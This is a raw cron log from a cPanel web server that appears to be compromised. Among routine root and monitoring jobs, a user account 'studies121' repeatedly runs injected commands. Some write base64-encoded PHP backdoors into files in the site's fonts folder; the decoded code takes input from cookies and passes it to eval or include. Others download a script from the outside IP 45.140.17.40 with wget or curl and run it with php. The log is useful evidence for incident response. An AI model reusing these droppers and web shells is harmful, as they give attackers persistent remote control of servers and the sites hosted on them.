Sep  5 22:40:01 ip-184-168-122-23 CROND[4601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:40:01 ip-184-168-122-23 CROND[4596]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:40:01 ip-184-168-122-23 CROND[4597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:40:01 ip-184-168-122-23 CROND[4603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:41:01 ip-184-168-122-23 CROND[4693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:41:01 ip-184-168-122-23 CROND[4694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:41:01 ip-184-168-122-23 CROND[4695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:41:01 ip-184-168-122-23 CROND[4696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:42:01 ip-184-168-122-23 CROND[4777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:42:01 ip-184-168-122-23 CROND[4780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:42:01 ip-184-168-122-23 CROND[4779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:42:01 ip-184-168-122-23 CROND[4781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:42:01 ip-184-168-122-23 CROND[4782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:43:01 ip-184-168-122-23 CROND[4868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:43:01 ip-184-168-122-23 CROND[4871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:43:01 ip-184-168-122-23 CROND[4869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:43:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:44:01 ip-184-168-122-23 CROND[4950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:44:01 ip-184-168-122-23 CROND[4952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:44:01 ip-184-168-122-23 CROND[4953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:44:01 ip-184-168-122-23 CROND[4955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:44:01 ip-184-168-122-23 CROND[4951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:45:01 ip-184-168-122-23 CROND[5135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:45:01 ip-184-168-122-23 CROND[5139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:45:01 ip-184-168-122-23 CROND[5136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:45:01 ip-184-168-122-23 CROND[5140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:45:01 ip-184-168-122-23 CROND[5141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:45:01 ip-184-168-122-23 CROND[5138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:46:01 ip-184-168-122-23 CROND[5235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:46:01 ip-184-168-122-23 CROND[5237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:46:01 ip-184-168-122-23 CROND[5240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:46:01 ip-184-168-122-23 CROND[5243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:46:01 ip-184-168-122-23 CROND[5239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:46:01 ip-184-168-122-23 CROND[5241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:46:01 ip-184-168-122-23 CROND[5242]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 22:47:01 ip-184-168-122-23 CROND[5332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:47:01 ip-184-168-122-23 CROND[5331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:47:01 ip-184-168-122-23 CROND[5333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:47:01 ip-184-168-122-23 CROND[5334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:48:01 ip-184-168-122-23 CROND[5421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:48:01 ip-184-168-122-23 CROND[5424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:48:01 ip-184-168-122-23 CROND[5425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:48:01 ip-184-168-122-23 CROND[5423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:48:01 ip-184-168-122-23 CROND[5426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:49:02 ip-184-168-122-23 CROND[5517]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 22:49:02 ip-184-168-122-23 CROND[5519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:49:02 ip-184-168-122-23 CROND[5520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:49:02 ip-184-168-122-23 CROND[5518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:49:02 ip-184-168-122-23 CROND[5521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:50:01 ip-184-168-122-23 CROND[5719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:50:01 ip-184-168-122-23 CROND[5721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:50:01 ip-184-168-122-23 CROND[5723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:50:01 ip-184-168-122-23 CROND[5724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:50:01 ip-184-168-122-23 CROND[5725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:50:01 ip-184-168-122-23 CROND[5726]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:50:01 ip-184-168-122-23 CROND[5729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:50:01 ip-184-168-122-23 CROND[5730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:50:01 ip-184-168-122-23 CROND[5734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:51:01 ip-184-168-122-23 CROND[5842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:51:01 ip-184-168-122-23 CROND[5843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:51:01 ip-184-168-122-23 CROND[5844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:51:01 ip-184-168-122-23 CROND[5846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:52:01 ip-184-168-122-23 CROND[5925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:52:01 ip-184-168-122-23 CROND[5927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:52:01 ip-184-168-122-23 CROND[5928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:52:01 ip-184-168-122-23 CROND[5929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
